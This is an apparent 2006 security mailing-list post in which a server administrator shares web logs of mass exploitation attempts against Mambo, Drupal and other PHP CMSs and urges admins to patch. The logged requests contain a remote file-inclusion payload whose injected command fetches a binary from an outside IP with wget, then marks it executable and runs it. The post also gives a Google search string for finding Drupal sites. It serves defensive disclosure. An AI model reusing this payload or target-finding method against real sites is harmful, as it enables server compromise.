PHP-based CMS mass-exploitation



This is not the first time that we see those kind of "attacks", but on
the recent days, I've noticed those requests on my webservers with a
considerable frequency:

83.84.14X.XXX - - [06/Mar/2006:18:18:12 -0500] "GET
/index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:13 -0500] "GET
/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
HTTP/1.1" 200 10110 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:14 -0500] "GET
/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:15 -0500] "GET
/cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:17 -0500] "GET
/articles/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:18 -0500] "GET
/cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://163.24.84.10/heade.gif?&cmd=cd%20/tmp;wget%20163.24.84.10/chspsp;chmod%20744%20chspsp;./chspsp;echo%20YYY;echo|
HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:19 -0500] "POST /xmlrpc.php
HTTP/1.1" 200 375 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:20 -0500] "POST /blog/xmlrpc.php
HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:21 -0500] "POST
/blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:22 -0500] "POST
/blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:23 -0500] "POST
/drupal/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:25 -0500] "POST
/phpgroupware/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:26 -0500] "POST
/wordpress/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:27 -0500] "POST /xmlrpc.php
HTTP/1.1" 200 375 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:28 -0500] "POST
/xmlrpc/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
83.84.14X.XXX - - [06/Mar/2006:18:18:29 -0500] "POST
/xmlsrv/xmlrpc.php HTTP/1.1" 404 8696 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"


All of them, as we can see, are exploitation attempts to known bugged
pages (like the newest Mambo bug, the old XMLRPC problem with old
versions of Drupal, etc). I guess that they are getting a list of
domain names and trying them out with those vulns, and I believe that
they may already have some thousands of vuln machines in their hands.
Such attacks might been enhanced by using Google to guess which
domains are using which CMS... for example, looking on Google for "A
password and instructions will be sent to this e-mail address, so make
sure it is accurate." will return a bunch of Drupal websites (88,500
according to Google, even though we can see just the first 1000 ones).

This is just an advise for all admins that use those CMS, to keep, as
always, your CMS updated (almost every two weeks there are new vulns
disclosed), and also, check if you already got caught by that, if
you're running old software.

--
# (perl -e "while (1) { print "\x90"; }") | dd of=/dev/evil



Relevant Pages

  • [Full-disclosure] PHP-based CMS mass-exploitation
    ... This is not the first time that we see those kind of "attacks", ... MSIE 6.0; Windows NT 5.1;)" ...
    (Full-Disclosure)
  • SecurityFocus Microsoft Newsletter #223
    ... is a free service that gives you the ability to track and manage attacks. ... 3Com 3CDaemon Multiple Remote Vulnerabilities ... Windows Update Services ... Relevant URL: http://www.securityfocus.com/bid/12148 ...
    (Focus-Microsoft)
  • Re: So, windows doesnt get viruses and worms eh?
    ... Computers will get attacked often if you have a constant ... computers running Unix, Windows and Linux. ... on broadband and have never had problems with viruses or worms. ... The viruses aren't the think that's hurting the web, it's DOS attacks. ...
    (comp.sys.mac.advocacy)
  • SecurityFocus Microsoft Newsletter #148
    ... MICROSOFT VULNERABILITY SUMMARY ... allowing for cross-site scripting attacks. ... It is available for the Microsoft Windows platform. ... Relevant URL: ...
    (Focus-Microsoft)
  • RE: superscan on win2k vs winxp
    ... If you have any need to do this from a fully updated windows box. ... Audit your website security with Acunetix Web Vulnerability Scanner: ... Hackers are concentrating their efforts on attacking applications on ... Up to 75% of cyber attacks are launched on shopping carts, ...
    (Pen-Test)